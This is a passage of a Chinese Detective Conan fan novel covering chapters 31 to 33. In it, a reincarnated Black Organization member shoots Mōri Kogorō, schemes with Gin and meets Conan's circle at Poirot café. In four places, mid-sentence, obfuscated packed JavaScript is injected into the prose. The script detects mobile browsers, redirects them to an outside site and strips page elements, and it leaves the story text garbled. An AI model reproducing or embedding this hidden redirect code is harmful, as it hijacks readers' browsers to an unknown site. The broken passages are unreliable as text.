“是。”我皮笑肉不笑地回,“你不掐的话,我会动手帮你掐哦。” “贝尔摩德,灭了吧。不要给利莱酒发疯的理由。”领教过我在烟这个问题上有多执着的琴酒也劝道。 贝尔摩德看了看我蠢蠢欲动的手和琴酒一直夹在指间却没点燃的烟,妥协道:“好吧。” “谢啦。”我的笑里带了点真实:“以后也不要在我面前抽烟哦。” 琴酒的手机忽然响了下,他读完信息后,冷笑了一声:“利莱酒,我们的眼线说有一辆可疑的黄色甲壳虫一直在附近逗留,看上去是车子故障了,可外表没有任何异常。你去看看情况。” 啊,柯南他们被发现了?耶嘿,又可以去吓唬小孩了! “OK。”我随便从袋子里拿了顶假发,戴上口罩和雨伞,动身去找阿笠博士的车。 “其它人各就各位。”话落,三辆车纷纷驶离停车场。 我哼着小曲,在瓢盆大雨中寻找着那一抹黄色。 一无所获。看来柯南得到的消息挺及时的,顺利逃走了。 “咕——”我摸了摸抗议的肚子,打算先吃饭再说。 进了一家拉面店点餐后,我给琴酒汇报情况:“大哥,没看见那辆黄色的车哦。” 上菜的速度很快,我嗦了口面,又配了口暖洋洋的汤:“要么真是无辜路人的车子坏了,不过应该是小问题?不然没法这么快就开走。” “呵。你觉得这个可能性是多大?若是小问题,那就不该停留这么久,还这么凑巧地就在我们周边。再说,既然还能开的话,大雨天的为什么要停在外面检查?不奇怪吗?真想检查,也得找个屋檐底下的地方停车。明明附近就有停车场,为什么不来?”琴酒合情合理地质疑道。 “确实。所以那个人应该是收到了消息,闻风而逃。”我赞同他的推理道:“但TA是如何得到的消息呢?” “伏特加,检查下我们有没有被窃听。”琴酒安排道。 “怎么想,窃听器都不该在我们这群不怎么和别人接触的人身上吧?”我直接排除道:“大哥,你要是被窃听成功的话,我真的会嘲笑你的哦。” “我问问基安蒂和基尔。黄色甲壳虫不急于一时,我已经让外围成员先跟着了。你就去Edie P集合。”琴酒通知道。 “好哦,要我给你们带点食物吗?大家都还没吃午饭呢。”琴酒沉默了一瞬间,挂了电话。 我直接把这个反应当成默认,琴酒肯定是不好意思说! 我兴致勃勃地去便利店挑了饭团。 等我赶到集合地时,第一场暗杀已经因为下雨而宣告失败了。 “基尔,你被窃听了。”琴酒拿枪指着她说道。 “诶?被窃听?”基尔震惊道。 “利莱酒,你去搜身。”琴酒对刚进来的我示意道。 我把装着饭团的袋子丢给伏特加:“伏特加酱,分发一下午饭哦。” 在大家吃午饭的档口,我接过琴酒递来的检测器,在基尔的衣服上搜寻着:“奇怪啊,衣服上没有欸。” “反正你现在也要换衣服,那你先去换吧,我之后再看看你脱下来的衣服上有没有。”我看着贝尔摩德已经穿了一身机车服,就对基尔道。 一番搜索后,我把沾了口香糖的鞋子递到琴酒面前。 我看着琴酒把口香糖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15332015|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用手帕包起来,忍不住给了他一张湿巾擦擦手,这踩在地上跑来跑去的多脏啊。 “基尔,从今天早上开始,你跟我通话时就有杂音,那时你就已经被窃听了。”琴酒分析道。 “在那之前,我只跟毛利小五郎有过接触。”基尔配合地提供情报。 “有趣,那就是毛利小五郎了。”琴酒锁定了嫌疑人。 贝尔摩德坐在机车上,参与讨论:“毛利小五郎监听水无怜奈的理由是?” “不知道。但肯定是他干的。”琴酒确信道。 我坐在琴酒的车前盖上,嚼着自己的饭团:“想知道的话,直接去问问本人不就行了?” “可以。利莱酒,你去把毛利小五郎绑来,我还有事要问他。”琴酒让我们兵分两路:“我们按原计划在Vane B击杀DJ。” “让利莱酒一个人去没问题吗?”贝尔摩德试图阻拦道。 “利莱酒不是废物,不至于绑个人都做不到。”琴酒瞥了我一眼,一副别让我失望的样子。 我接收到琴酒的眼神,把饭团的包装揉起来,嘻嘻哈哈地立正道:“那大哥,我出发了哦。” “嗯,把人带到A点。” 我比了个OK,离开仓库。 我没急着去乘车,在附近溜溜达达地绕着。 算了算时间,我折返回仓库。 参与计划的人员都赶去自己的地点去了,只剩琴酒和伏特加。 “这件事不对劲。追踪黄色甲壳虫的人在米花町2丁目22番地发现了FBI。还发现了毛利小五郎从阿笠宅离开。”琴酒言简意赅道:“住在那里的人姓阿笠,不知道是从什么渠道发现组织的。” “阿笠……”我一副苦思冥想的模样:“啊,好像是从兰酱的嘴里听过这个名字。” “兰酱?” “毛利兰,毛利小五郎的女儿哦。”我笑眯眯地望着琴酒骤然阴沉的脸。 “所以,毛利小五郎,还有那个叫阿笠的人,在和FBI合作?”琴酒拧着眉头:“连接他们的枢纽是什么?毛利兰?” “不知道。”我耸了耸肩:“反正我跟她走得挺近的,要我去调查下吗?” “先去把人绑回来,绑不回来你再潜伏在她们身边调查整件事的来龙去脉。”琴酒指示道。 “对了,既然他们被FBI保护着,那你很有可能会对上黑麦。小心点。”琴酒有些凝重地嘱咐。 “放心吧,大哥,你知道我的。”我笑了笑:“大哥你也不用太担忧这件事,也不用着急对他们下杀手。活着的毛利小五郎说不定更有价值。我们可以合理利用他们的合作上演一出组织落幕的戏码哦。” “你有计划了?” “算是吧,所以还请大哥暂时对这些人手下留情。”我俏皮地眨眨眼。 “所以,你会为了保护他们而和我作对?”琴酒眼神锐利地问道。 “当然不会。”我否认道:“不过,大哥,要杀他们可不是件容易的事哦?你会遇到很多意外也说不定。” 主角团可不会被轻易解决。 其实我很好奇上天到底会弄出什么骚操作保住他们的性命。 “行,那就从长计议。” 我接过琴酒抛过来的车钥匙:“这次是真的出发了哦。大哥你们也要小心哦。暗杀计划肯定是会被FBI阻挠的。” 31.第三十一章 我悠哉游哉地把车停到毛利侦探事务所楼下。 随意整理了下假发,我戴上口罩和小挎包,先登上隔壁的天台用望远镜观察——毛利小五郎已经到家了,正在津津有味地看着赛马。 我保持着望远镜放在眼前的动作,慢慢转身,隐约在正对着毛利侦探事务所的那栋大楼上发现了一个人影。 黑麦应该正透过狙击枪观察我吧,毕竟我很可疑嘛。 “统,你说黑麦认出我了没啊?”我一直戒备着身后可能会来的枪击,却半晌都没动静。 “可能以为你是无辜路人?”系统也在琢磨为什么黑麦迟迟不开枪:“难道是你这头鲜艳的红发骗过他了?” “也许吧。不过我扛着毛利小五郎出来的时候,他应该就会动手了。” “那你想个办法让他主动跟你出门呗。” 我敲着事务所的门:“不好意思,有人在吗?” “来了来了——” “请问你是毛利侦探吗?”我在口罩里藏了变声器,免得被认出来。 “是的,这位美人,请问有什么事吗?”毛利小五郎一派谄媚地问道。 “咳咳。”我装模做样地咳嗽了两声:“我想委托毛利侦探一件事,请您一定要帮帮我,委托金不是问题。” “请说!我乐意效劳!”毛利小五郎两眼放光地说道。 “其实我家里最近出现了一些怪事……”我一副有点难以启齿的样子:“可以请毛利侦探去我家看看吗?” “好啊。”毛利小五郎不忘拿起他的随身听,锁上门,跟我走下楼:“具体是什么怪事呢?” “我时常感觉家里好像还有另一个人,早上明明没叠的被子会自己叠起来,出门前明明锁了阳台的门,可晚上回家一看它却是开着的……”我做出一副惊恐的模样。 “请毛利侦探一定要帮我解决这个问题!我可以支付五十万作为委托金。”我说着,为他拉开车门。 不远处,一辆银色的车子匆匆忙忙地刹住,一个身着蓝色西装的小男孩跳下来:“叔叔!你要去哪里啊!” 我望着车里的FBI,忍不住‘啧’了一声。 他们为什么会在这里?贝尔摩德给柯南通风报信了? “哦——小鬼……”我迅速掏枪给毛利小五郎的腹部来了两枪,把枪口抵着毛利的脑袋,整个人躲到他身后防备黑麦的狙击。 “不要过来。”我对柯南警告道。 ‘砰’! 乍现的火光把我们逼到墙角。 黑麦那家伙!居然炸了我的车! 虽然不是我的爱车,但也足够令人不爽了。 我扯着毛利退到巷子口,又报复似地在他肩上开了个洞。 “你是谁?!为什么要挟持叔叔!”柯南见我这么心狠手辣,连忙质问道。 我死死拽着我的人肉盾牌,挑准时机,把他往前一推,拦住柯南。 又给那俩FBI一人一枪后,我顺着巷子飞快逃走。 我跑进最近的商场,从寄存柜里取出事先准备的背包,然后进厕所里变装。 我戴上鸭舌帽,穿着工装裤,给琴酒打电话:“任务失败,碰到了黑麦,车也被他炸了。” “在哪?” 我报出会和地址,脚步不停地往那边赶。 坐上琴酒的车,他令人感动地问:“受伤了吗?” “没有哦。你们呢?” “任务完成了,不过基尔失踪,害得我得亲自出手解决DJ。”琴酒说道。 “喔——!真不错!大哥好久都没动手了,真可惜我不在场。”我惋惜道。 “你那边呢?” “别提了。”我郁闷地跟琴酒对齐情报:“FBI的人及时赶到,我不得不直接挟持毛利小五郎。黑麦早早地埋伏在那,一枪炸了我的车。” 我瞥了眼有点焦躁的贝尔摩德,补充道:“我没杀掉毛利小五郎,只给了他三枪。” “说起来,倒是有个小孩很勇敢地冲上来了呢,真是勇气可嘉。”我故意说道。 “那么,你杀了那个小孩吗?”贝尔摩德斜睨着我。 她好像磨刀霍霍地想要杀掉我欸。 “当然——”我恶劣地拖长音,贝尔摩德的杀气跟不要钱似的往外飙。 “没有哦。”我笑眯眯地看着她的脸说道。 “所以,你的收获是证实了毛利小五郎和FBI的合作关系?”琴酒总结道。 “不。”贝尔摩德反驳道:“这恰恰证明毛利小五郎只是FBI为了引我们出来的诱饵,因为他们是不会让同伴冒这么大的风险的。基尔鞋底的窃听器和发信器应该也是他们装的。” 我通过后视镜和琴酒对上眼神:“我跟FBI没怎么打过交道。既然与他们经常交手的贝尔摩德这么说,那多半是对的吧。” “哼。那就算这样吧。接下来该想想怎么营救落在FBI手里的基尔了。”琴酒像是采纳了贝尔摩德的说辞。 贝尔摩德看了眼默不作声的我:“啊啦?利莱酒,你不是应该嚷嚷着那种家伙是没有价值的,不值得去救嘛?” “我个人确实不愿意掺和。”我靠着椅背,闭目养神:“但大哥要救,那就救吧。” “琴酒,她还真是你忠诚的小狗呢。”贝尔摩德讽刺道。 “我确实不用怀疑利莱酒的忠诚。”琴酒回应道:“但我或许该怀疑一下你的忠诚。贝尔摩德,你是不是太袒护毛利小五郎了?” “我只是觉得没必要去杀一个跟警方关系密切的人。”贝尔摩德说着:“利莱酒现在这么一闹,一定会让日本警方注意到我们的,有想过应对方法吗?” “没有。”我摊了摊手:“他们没有任何线索,查不到我的。我乔装打扮过,动手的时候也带了手套,我变装的场所也没有监控。没有FBI的协助,他们一不知道我的动机,二不知道我的来历。要是这样还能查到我的话,就得考虑下我们中间有人泄密的可能了。” “总而言之,得有人去毛利小五郎身边调查一下了。利莱酒,你去?”琴酒按我们之前商议过的结果提议道。 “OK。” 琴酒先把贝尔摩德送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337491|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到目的地,再把我送回家。 “安装了窃听器的那个家伙大意地留下了指纹。我会调查一下指纹的主人。”没有贝尔摩德在场,琴酒终于能跟我分享一些需要瞒着她的情报。 “我们把毛利小五郎塑造地神秘莫测一些,引诱朗姆主动去他身边怎么样?”说起坑朗姆的计划,我那是倍感精神:“到时候,聚集在毛利小五郎身边的FBI和日本公安都会想方设法地捉住朗姆。届时,我们便可全身而退。” “如果计划能有那么顺利的话。”琴酒叼着烟,含糊地咬字:“你不想参与营救基尔,正好去查这件事。把这个作为你的长期任务够宽容了吧?” “当然,感谢大哥的慷慨。”我抱拳,一副大哥仗义的做派:“等苏格兰回来后,我会让他与日本公安恢复接触的。” “不过大哥,我们真的有必要去救基尔吗?”我着实有点不解他的动机:“莫非大哥你相信FBI抓到组织成员会什么都不做吗?被救回来的基尔真的还值得信任吗?” 琴酒来回咬着烟嘴:“当然不值得。只是正好借此试探一下她,顺便和赤井秀一交个手。” 下次送点烟状的棒棒糖给琴酒吧,既不耽误他塑造反派形象,又能吃。 我走神地想到。 “你不了解基尔获得代号的始末吧?”琴酒给我补全信息道:“当时是发现了一个CIA的卧底,基尔处决了他,从而拿到的代号。” 我点点头:“这么简单就能获得代号?确实值得怀疑。” 琴酒瞥了我一眼:“是对我给予代号的决定有什么异议吗?” 我把头摇成波浪鼓:“不过大哥你既然怀疑,那又为什么……?” 琴酒望了望天,一副不愿启齿的模样:“组织里的人才太少了。基尔还算有能力。” 我没忍住笑出了声:“所以说,大哥,适当保留一些老鼠还是有好处的。” 琴酒默了默:“你老实说,你是不是还知道组织里的别的卧底?” 我看天看地就是不看他。 琴酒也执着地盯着我。 我被他看得心生愧疚,声若蚊蝇:“是有。” 琴酒意外地没有很大反应:“正好给组织来一次大清洗。” 我不敢作声。 清洗完后能留下的成员可能一只手就数得过来,什么基安蒂,科恩,伏特加,还有我,就没了…… 嗯,这是要变成个体户的节奏啊。 * 休息了几天,我琢磨着毛利小五郎应该差不多度过危险期了,于是给毛利兰打电话问候。 “什么?!毛利侦探被歹人袭击入院了?”我演得自己都有点信了:“我现在就过去拜访!” “米花中央医院?好的,我马上出发。” 路上,我纠结于要给毛利送点什么。 说起来,我这辈子还没探望过病人呢。 也不知道按他们这边的习俗能不能送水果。 我干脆把车在医院的停车场停好,查询了下能送的东西,最后决定是毛巾蛋糕这类实用向的物品。 32.第三十二章 “打扰了。”我被毛利兰领进病房,把手里的毛巾蛋糕递给妃英里:“你好,初次见面,想必您就是妃律师了吧。请多指教。” “你好,当归小姐,我常常听起兰提起你。”妃英里友好地跟我握手。 “毛利侦探怎么样?难道还在危险期吗?”我望着昏迷不醒的毛利小五郎,担忧地问道。 “其实爸爸之前已经醒过来了,但是医生说最好还是再观察一下。”毛利兰难掩悲伤。 我叹了口气:“希望毛利侦探能尽快恢复。” “说起来,那个歹徒到底为什么袭击毛利侦探啊?莫非是来寻仇的?下手这么狠……”我挑起话头道。 其实我当时满脑子都是毛利小五郎的刑警身份,为了让他失去反抗能力,我才瞄准腹部打了两下。没记错的话,我避开了脏器,应该只会造成失血过多的结果啊。 最后那一枪,黑麦要负全责。 “目暮警官他们还在查,可惜没有什么线索。”小兰情绪低落地道。 “这样啊……那这个凶手会不会卷土重来?”我忧虑地问:“要不你们申请一下警察的保护吧。” 毛利兰摇摇头:“爸爸醒来时拒绝了,说是不能浪费警力资源。” “这怎么能算浪费资源呢!”我惊讶道:“万一凶手来报复你们怎么办?兰酱,我知道你的空手道很厉害,可要是真出什么事了可就来不及了啊!这个凶手大白天的就敢犯案更加说明了他的肆无忌惮!” “不是他,是她。”毛利兰纠正了我:“爸爸说挟持他的是一位红发的女性。” “女性?”我故作讶异:“还有更多特征吗?我也会帮忙留意的。” 毛利兰摇头:“爸爸说她当时带着口罩,还老是低着头,他没能看清更多。” “那这岂不是一个地雷吗?”我忧心忡忡:“她随时都可能再来刺杀毛利侦探……” “我好歹也会一些拳脚,最近这段时间我也来帮忙吧。”我热心地提议。 “帮忙?” “帮忙保护兰酱啊。”我冲着她笑。 “这就不麻烦当归小姐了吧……”毛利兰不太想麻烦别人。 我正了正神色:“我有持枪证。要是歹徒真的来了,我也能保护你们。这样既能解决毛利侦探不想浪费警力,又能提供保护,不是一举两得吗?” 在我努力的劝说之下,毛利兰和妃英里终于松口。 “说起来,柯南君呢?”我现在才察觉以往叽叽喳喳的童声许久都没出现了。 “最近有些危险,我就先让他去博士家住了。”小兰解释道。 “确实,小孩子怕是更容易落入魔爪。”我赞同地道。 “那么,我先回去把要带的东西都带上,然后就来守着你们。”我说着,就要暂时告辞。 毛利兰喊住我:“当归小姐,那莉莉怎么办?” 我沉吟了片刻:“兰酱和英里小姐介意我把莉莉带过来吗?小狗的嗅觉很灵敏,说不定她能在捉歹徒这件事上帮忙。”毕竟我也是带莉莉去打猎过的。 我想了想,发觉到一个事实:“啊……医院不许小狗进来吧。那在毛利侦探出院前,我得找个人照顾下莉莉了。” “那么,兰酱,我晚上再过来可以吗?”我跟她们道别。 “摩西摩西,波本?你有空吗?帮我个小忙。”我直接问周边有空的人:“帮我照顾莉莉一段时间。” “怎么?利莱酒大人要出长期任务?”波本永远牢记自己情报贩子的设定。 “嗯。你也对我的任务很感兴趣?”我盘算着给他个借口潜伏到毛利小五郎身边。 “确实很感兴趣。利莱酒大人要分享吗?” “可以哦,是毛利小五郎的长期监视任务。你可以去向琴酒大哥打申请,问你可不可以参与。”我十分慷慨地暴露情报。 波本真去了的话,琴酒就该顺着我之前的话怀疑他是不是日本公安了。 “毛利小五郎?那个沉睡的名侦探?”波本不解道:“他有什么被监视的价值?” “通过上个任务,我们发现他在和FBI接触。”我拿着绝佳的鱼饵钓他:“我上次还在他的侦探事务所跟黑麦交手了呢。怎么样,现在这个人有价值了吧?” “赤井秀一吗?”波本这就开始咬牙切齿了:“等着,我会去的。” 我连忙叫住他:“欸等等!不是现在。你现在来谁帮我照顾莉莉啊。他被我三枪打进了医院,你等他出院后再来。” “所以你在他住院期间要近距离观察?”波本笑了笑:“还真是搞笑,罪魁祸首去探望被害者?” 我不以为意:“你有我家的钥匙吧?记得每天上门去喂莉莉,还要一天遛她三次,遛到她尽兴为止。” 我滔滔不绝地嘱咐道:“还要注意她的大小便,注意她的心情,要跟她有足够的互动,还有……” “好了好了,我知道了。”波本打断我道:“我只要帮你照顾到苏格兰回来就行了吧?” “嗯哼。我当然更放心把莉莉交给苏格兰,可谁让他现在不在呢,只好退而求其次找你了。”我这会儿有点后悔让苏格兰出那么久的任务了。 “你这家伙!” “那拜拜啦。”我直接挂了电话,免得要应付恼火的波本。 我回到家,收拾好东西。 莉莉一看我这架势就知道我又要离开一段时间了,她不舍地咬着我的衣角。 我抱着她好好安抚道:“对不起啊,莉莉。妈妈又要出去好长一段时间了。妈妈要去打猎养家了,不是故意不带你的。” 我亲了亲她,也分外不舍:“这段时间波本会来照顾你,就是那个皮肤黑黑、头发黄黄的人。你还记得他吗?” 莉莉聪明地‘汪’了一声。 “乖乖真聪明!”我抱着她的头一顿揉搓:“他会给你放饭,也会带你出去玩。要是他对你不好,你就直接上嘴咬他!” 莉莉呜嘤了一声。 “妈妈也不想找他的,可苏格兰也出去打猎去了,暂时没法照顾你。等苏格兰回来了,你就又有更熟悉的人来照顾你了。”莉莉挠着沙发,似乎在表达这次怎么要去这么久的不满。 “妈妈也不知道这次得去多久,不过妈妈会争取早点回来的,好不好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15349241|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”我哄道:“莉莉最乖了,在这期间肯定会好好吃饭,好好睡觉的,对不对?” 我又给出甜头:“等妈妈回来了,就带你去见你最喜欢的兰酱,怎么样?” 莉莉兴奋地摇起了尾巴。 “嗯嗯,乖乖。”我又亲了亲她,才带上行李箱和大提琴盒去医院。 * 我一连守到毛利小五郎出院,也没有遭受任何袭击。 “真是不好意思,麻烦了当归小姐这么多天。”小兰扶着毛利小五郎。 “没事没事,不过我觉得我们还不能放松警惕哦。也许凶手是混不进来医院,一旦被她逮到机会,毛利侦探可能又会遭遇危险。”我开着车,把他们送回侦探事务所。 “不介意的话,我之后也可以常常过来拜访,巡视一下。”我笑道。 “叔叔!你回来啦!”柯南精力十足地跟我们打招呼。 “你这小鬼,我住院那么多天也没见来看望看望我!”毛利小五郎起手就赏了柯南一个爆栗。 “对不起嘛。”柯南捂着头道歉。 “爸爸,你别这样,是我让柯南不要来的。”小兰搀住毛利,解释道:“这么危险的地方怎么能让小孩子去呢。” 呵呵,柯南经历的可比这边危险多了,我想着已经被救回来的基尔,腹诽道。 “兰酱,那我就先回家了哦,我还得去安抚好久没见的莉莉呢。”我正要坐到车上,忽然瞄到了柯南凝重的神情。 我探出头来:“明天我会带着莉莉前来拜访的,莉莉她可想你了呢。”我同毛利兰说道。 我看着后视镜里一直盯着我的车的柯南,和系统赞叹道:“挺厉害嘛,这么快就察觉到我的不对劲了?” “毕竟是男主角。” “应该是通过之前的窃听觉得我的声音很熟悉吧?”我推测着可能暴露身份的缘由。 “统,柯南肯定问过黑麦有关我的事情吧。”我愉悦地笑道:“上次袭击毛利的事足够让我成为要被重点观察的人物了吧?” “那肯定。原著里毛利小五郎都没受过这么重的伤,你一来就下狠手,绝对会非常非常戒备你的哦。”系统看热闹道。 “确实。真可惜我没法听到他们是怎么妖魔化利莱酒的。”我想象了下黑麦和柯南一脸沉重地讨论我,忍不住笑起来。 “接下来就是波本篇了吧?”我回忆着:“黑麦已经伪造了假死,现在会成为粉毛眯眯眼对吧?” “对,波本出场后就是列车篇让雪莉死亡了。”系统帮我顺着主线。 “唔,我也去掺和一脚列车篇吧,助贝尔摩德一臂之力。”我露出不怀好意的笑:“她这么想杀掉雪莉,搞得我也很想试探下我到底能给主角团添多大的麻烦。” “我倒是可以配合波本把雪莉绑到日本公安那里去,正好让她见见她姐姐?”我想起目前还在被波本监管的宫野明美。 “直接绑人不太可能。波本揭露自己的身份后搭上线还差不多。” “琴酒那边还在查那枚指纹,真好奇他知道A药成功后的反应。”我简直像个大反派:“一定,会很有趣。” 33.第三十三章 我抿了口热牛奶,坐在波洛咖啡厅里,边晒太阳,边围观波本当厨子。 “安室先生,有什么推荐的甜品吗?”我托着腮,笑眯眯地问道。 “今天的甜点是红豆铜锣烧,当归小姐要尝尝吗?”波本按照对待普通客人的态度推荐道。 “哦——听起来不错!”我兴致高昂地点了一份。 我看了看趴在脚边的莉莉:“啊对了,安室先生有没有一些可以给狗狗吃的食物呢?” “当然。请稍等。”波本笑得眼睛弯弯的脸实在让我有点看熟人演戏的搞笑感。 “当归小姐,你也来波洛吃饭吗?”柯南带着少年侦探团推门进来。 “柯南君,还有柯南君的同学们?你们好,你们好。”我忍不住张望默默缩到队尾的那个茶发小孩。 看看酒厂雷达今天起不起作用。 “你好——”孩子们齐声跟我问好道。 “好可爱的狗狗!”步美跑到我身边,欣喜地问:“步美可以摸摸它吗?” “只要莉莉愿意让你摸的话。”瞧见小朋友,莉莉站了起来,甚至主动蹭了蹭她的手心。 “哇——”几个真小孩纷纷围着莉莉,莉莉也很给面子地陪他们玩。 “柯南君,不给我介绍介绍你的朋友们吗?”我看着自然地坐到我身边的小男孩问道。 一听我这么问,孩子们顿时积极地开始自我介绍。 “很高兴认识你们哦,我是当归苓。”我回应道,目光落在拽着柯南衣角的小女孩身上:“这位是?” 柯南接过了跟我对话的重任:“她叫灰原哀,有点害羞。当归小姐别介意。” “哀酱啊。”我凑近打量着不敢跟我对视的小女孩:“唔……哀酱长得有点像我以前认识的人呢。” 我看着完全把自己藏起来的小孩,笑了笑:“不好意思,柯南君,我好像吓到她了。” “啊哈哈,灰原怎么可能是当归小姐认识的人呢。”柯南又开始打哈哈:“可能是当归小姐看错了吧。” 我赞同道:“确实,估计是我看错了。” “当归小姐,你的红豆铜锣烧和给小狗的食物。” 波本把东西端上来的时候,好像又把雪莉吓到了呢。 我看着柯南尴尬的笑容,说道:“孩子们要不要给莉莉喂点蔬菜吃啊?” 我给他们分发了一些盘子里有的胡萝卜和生菜:“放心,莉莉不会咬到你们的。” 我享受地吃着甜点,赞美道:“安室先生,你的手艺可真不赖,不比我家的厨师差呢。” 波本笑而不语。 就是跟我家厨师学的手艺,味道当然大差不差。 我瞥到了柯南手上的戒指,好奇地问:“柯南君,你什么时候开始戴戒指了?” 柯南顺着我的话,看了一眼:“啊哈哈,这是……” “这是神秘列车的通行戒指!”步美兴高采烈地跟我介绍:“我们每个人都有哦!” 孩子们一个个展示自己的戒指炫耀到。 我摸着下巴,夸奖道:“真好看,所以你们下周要去坐铃木高速列车?” “嗯!步美很期待的说!” “听起来很有意思啊。”我一副被挑起了兴趣的模样,我又问柯南:“柯南君,兰酱她们也会去吗?” “嗯……”柯南很勉强地应了一声。 “当归小姐也来吗?一定会很有趣的!”可爱的步美如是说道。 “虽然我很想去,但我还不确定有没有那个时间啊,我最近还挺忙的,而且我也得多陪陪莉莉。” 我说着,手机的闹铃忽然响起,我抓起一看:“啊,都到这个时间了!我得去接我的朋友了!” 我付过账后,跟孩子们道别:“那么,拜拜!” 我带着莉莉去把苏格兰接回来后,又一次要跟她暂别。 “这次是什么任务?”苏格兰问道。 “大概是跟你的幼驯染去抓雪莉。” 苏格兰若有所思地目送我出门。 * “那枚窃听器上的指纹查出来了,它属于工藤新一。”琴酒把检测报告摊在桌上。 我快速读了结论,然后眼疾手快地抢走琴酒的烟盒,放上我带来的烟盒。 他疑惑地看了我一眼,从我给的烟盒里抽出一根,仔细地闻了闻才叼在嘴里。 “根据记录,工藤新一应该已经死于APTX4869。”琴酒皱眉咬碎了烟嘴:“你从哪找来的糖?” “好吃吗?大哥?”我也从烟盒里抽出一根,应景地戴上墨镜:“我特意找的薄荷味,尝着还挺清新的。”我献宝似的摆了好几盒在桌上。 “认证那份记录的是雪莉,现在看来是完全没有可信度。”琴酒丝毫不被我的节奏打乱。 “APTX4869不是毒药吗?怎么会没有杀死工藤新一?”他不解地道。 “没记错的话,这是乌丸莲耶主张研究的项目吧。”我嘴里的糖慢慢化掉,薄荷的滋味格外提神醒脑,但又掺杂了一丝丝甜。 琴酒沉默了许久:“你的意思是,这个项目成功了?” “大哥,你还记得十三岁的雪莉吗?”我不置可否,转而提起这个话题。 琴酒安静地看着我,等着我的下文。 我证实他的猜测道:“我今天,看见了一个很像她的小孩哦。” “你想说……返老还童?”琴酒下意识地不相信:“怎么可能。” “这些证据还不够吗?”我躺倒在沙发上:“大哥你不是跟我描述过雪莉是怎么离奇失踪的吗?” “手铐……如果人变小了,自然就铐不住了。”琴酒把证据一一对应上:“确实,小孩子自然能爬出通风管道。” 我把手臂枕在脑后:“虽然APTX4869的药效令人震惊,可说到底,和我们也没什么关系。雪莉叛逃,她的研究也早就被停掉了。这些情报的唯一作用就是让我们弄清楚了一些谜团。” 看来他还算喜欢这款糖,留个三盒应该够了,我瞧着琴酒手上消失不见的糖想到。 “这么说,连接毛利小五郎、阿笠博士和FBI的枢纽就是工藤新一了。”琴酒拿起有关工藤新一的调查报告,串起线索:“毛利小五郎家最近寄住了一个叫‘江户川柯南’的孩子。” 琴酒冷笑:“‘江户川’、‘柯南’,还真是没有创意的假名。” 我不禁为琴酒犀利的吐槽笑出了声。 “雪莉知道工藤新一没有死,也猜到了APTX4869的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352113|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 效果——所以,她是不是会逃去尚在人世的小白鼠身边呢?”我差点忍不住为琴酒的智商鼓掌,不愧是黑方唯一的头脑。 “你今天看见的那个小孩,就是雪莉。”琴酒笃定地道。 “没错。”我干脆地掀了雪莉的马甲:“所以,大哥,你想要除掉那两个孩子吗?” 琴酒弹了弹报告:“那么,你之前说他们会很难杀是什么意思?” 我神秘莫测地笑:“大哥,你试试策划一个杀掉他们的计划不就知道了?” “有趣。这算是挑战?”琴酒一口饮尽杯中的酒。 “对。”我点头:“你会发现很多人都会跳出来阻挡你的哦。” “很多人?”他挑了挑眉:“比如?” “比如,黑麦?比如,FBI?比如,日本公安?比如,CIA?”我一连列举了好几个红方。 “你和波本一样,不相信黑麦死了?” “虽然是敌人,但我也不得不承认黑麦的能耐。”我正了正神色:“我觉得他不像是这么简单就会死掉的角色。” 琴酒沉思道:“既然你也这么说,那他应该确实用某种手法瞒过了我们。” “大哥,这个世界会假死的人,可多了。”我意味深长地说道。 “你在提醒我斩草要除根?”琴酒自顾自地给自己斟酒。 我见状也去冰箱里拿了瓶香蕉牛奶:“是。” “没有见到敌人的尸体被烧成灰烬,还是不要对任何人掉以轻心。”我故作深沉地道。 琴酒不置可否。 “说起来,我从那些孩子们那里得到了有趣的情报哦。” 他扬了扬下巴,示意我别废话。 “他们下周会去坐铃木的高速列车。大概不用多久,波本和贝尔摩德也会给你汇报这个情报。”我舒服地躺倒在沙发上,顺手把香蕉牛奶放在琴酒的酒杯旁。 